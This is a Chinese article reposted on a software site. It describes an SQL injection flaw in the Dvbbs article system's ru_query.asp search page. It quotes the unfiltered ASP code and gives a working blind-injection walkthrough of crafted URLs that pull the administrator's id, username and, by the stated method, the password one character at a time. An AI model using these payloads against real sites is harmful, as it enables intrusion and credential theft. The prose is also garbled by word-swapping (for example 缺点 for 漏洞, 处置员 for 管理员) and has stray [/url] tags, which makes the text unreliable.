大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 防范措施 -> 动网文章的新漏洞

动网文章的新漏洞

时间: 2021-07-31 作者:daque

写给生人。。。。。。。。 由于开初想不经过处置来改理想的作品,就看了一下动网作品的代码,创造了一个缺点,同样是一个变量未过滤的缺点,经尝试,动网官方的作品体例也有此题目。 缺点在ru_query.asp中,感化本子:一切。 看个中如次代码: if request("classid")="" then classid="" classname="一切作品" 'classid="classid=1 and " 'sql="select class from aclass where classid=1" 'rs.open sql,conn,1,1 'classname=rs("class") 'rs.close else classid="classid="&cstr(request("classid"))&" and " sql="select class from aclass where classid="&cstr(request("classid")) rs.open sql,conn,1,1 classname=rs("class") rs.close end if if request("nclassid")="" then nclassid="" nclassname="一切作品" else nclassid=" nclassid="&cstr(request("nclassid"))&" and " sql="select nclass from anclass where nclassid="&cstr(request("nclassid")) rs.open sql,conn,1,1 nclassname=rs("nclass") rs.close end if  呵呵,classid,nclassid都没有过滤,并且不必seesion,(空话!这如何要啊?!)呵呵,很大略,用一个就行了,好了我门就来实战一次, 我在肉鸡上安置了 动网作品3。4 用户名:admin 暗号:admin86 第一步,截获数据 加入探求页面,而后随意添,要害字我添的是test,好,停!翻开wsockexpert采用监督此ie,而后转到ie点探求,这时候wsocexpert里就出数据包了,如次: action=title&classid=&nclassid=&keyword=test&submit=%cb%d1%cb%f7 变换的ie的地方即 http://ip/ru_query.asp?action=title&classid=1&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 好了! 第二步:尝试处置员用户名  我门运用classid举行注入报复 http://ip/ru_query.asp?action=title&classid=1 and 1=2&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 由于classid=1 and 1=2是假,这时候堕落的消息是500,效劳器里面缺点, http://ip/ru_query.asp?action=title&classid=1 and 1=(select min(id) from admin where flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7  注:flag=1 为处置员 500了,证明id不为1, http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 归来了作品,ok,处置员id=2 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>1 and flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 发端尝试用户名长度,归来了,长度大于1,呵呵固然了 而后顺序试,当提交如次时 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where len(username)>=5 and flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 归来了,证明用户名的长度为5 发端尝试用户名第一位 http://ip/ru_query.asp?action=title&classid=1 and 2=(select min(id) from admin where asc(mid(username,1,1))>90 and flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 mid因变量不妨把暗号分红几何局部掏出,运用本领 mid(字符串,开始位,掏出的字符串的长度),我的这句是说把password中的第一位字符掏出, asc不妨把假名变换成asc码 而后我就确定他的asc码的范畴 归来了,证明他的第一位asc码大于90 http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))>100 and flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 500缺点了,证明第一位asc码小于100,结果 http://ip/ru_query.asp?action=title&classid=1[/url] and 2=(select min(id) from admin where asc(mid(username,1,1))=97 and flag=1)&nclassid=1&keyword=test&submit=%cb%d1%cb%f7 归来了,呵呵第一位是97,对应的是a 就如许顺序猜不妨得出用户名为admin 猜暗号的功夫仅把变量username 改为password即可,。 就这么大略, 同声要证明的是,asc ,mid为vbscript的因变量,假如效劳器端为javascipt就不许使了,呵呵,比方动网官方的效劳器,应改为对应的java因变量。

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.